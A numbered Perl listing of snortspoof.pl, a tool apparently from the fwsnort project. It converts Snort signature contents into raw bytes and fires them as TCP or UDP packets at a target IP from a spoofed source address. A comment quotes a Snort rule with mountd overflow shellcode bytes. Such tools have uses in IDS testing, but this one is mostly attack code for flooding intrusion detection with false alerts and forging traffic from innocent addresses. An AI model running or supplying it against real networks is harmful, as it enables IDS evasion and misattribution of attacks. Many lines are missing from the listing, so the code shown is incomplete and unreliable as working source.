3 ###############################################################################
7 # Purpose: To parse rules from the Snort rule set and spoof them at a target
8 # IP from arbitrary source addresses. This is similar to the
9 # technique employed by the Stick and Snot projects. Snortspoof.pl
10 # is distributed with the fwsnort project
11 # (http://www.cipherdyne.org/fwsnort/).
13 # Author: Michael Rash <mbr@cipherdyne.org>
15 # Copyright (C) 2003-2007 Michael Rash (mbr@cipherdyne.org)
17 # License (GNU Public License):
19 # This program is distributed in the hope that it will be useful,
20 # but WITHOUT ANY WARRANTY; without even the implied warranty of
21 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
22 # GNU General Public License for more details.
24 # You should have received a copy of the GNU General Public License
25 # along with this program; if not, write to the Free Software
26 # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
29 ###############################################################################
35 my $file = $ARGV[0] || '';
36 my $spoof_addr = $ARGV[1] || '';
37 my $dst_addr = $ARGV[2] || '';
39 die "$0 <rules file> <spoof IP> <dst IP>"
40 unless $file and $spoof_addr and $dst_addr;
42 # alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:"EXPLOIT x86 Linux mountd
43 # overflow"; content:"^|B0 02 89 06 FE C8 89|F|04 B0 06 89|F";
44 # reference:bugtraq,121; reference:cve,1999-0002; classtype:attempted-admin;
47 open F, "< $file" or die "[*] Could not open $file: $!";
50 my $conv_content = '';
56 ### make sure it is an inbound sig
57 if (/^\s*alert\s+(tcp|udp)\s+\S+\s+(\S+)\s+\S+
58 \s+(\$HOME_NET|any)\s+(\S+)\s/x) {
63 ### can't handle multiple content fields yet
64 next SIG if /content:.*\s*content\:/;
66 $content = $1 if /\s*content\:\"(.*?)\"\;/;
67 next SIG unless $content;
69 if ($spt_tmp =~ /(\d+)/) {
71 } elsif ($spt_tmp ne 'any') {
74 if ($dpt_tmp =~ /(\d+)/) {
76 } elsif ($dpt_tmp ne 'any') {
80 my @chars = split //, $content;
81 for (my $i=0; $i<=$#chars; $i++) {
82 if ($chars[$i] eq '|') {
83 $hex_mode == 0 ? ($hex_mode = 1) : ($hex_mode = 0);
87 next if $chars[$i] eq ' ';
88 $conv_content .= sprintf("%c",
89 hex($chars[$i] . $chars[$i+1]));
92 $conv_content .= $chars[$i];
96 if ($proto eq 'tcp') {
97 $rawpkt = new Net::RawIP({'ip' => {
98 saddr => $spoof_addr, daddr => $dst_addr},
99 'tcp' => { source => $spt, dest => $dpt, 'ack' => 1,
100 data => $conv_content}})
101 or die "[*] Could not get Net::RawIP object: $!";
103 $rawpkt = new Net::RawIP({'ip' => {
104 saddr => $spoof_addr, daddr => $dst_addr},
105 'udp' => { source => $spt, dest => $dpt,
106 data => $conv_content}})
107 or die "[*] Could not get Net::RawIP object: $!";
113 print "[+] $file, $sig_sent attacks sent.\n";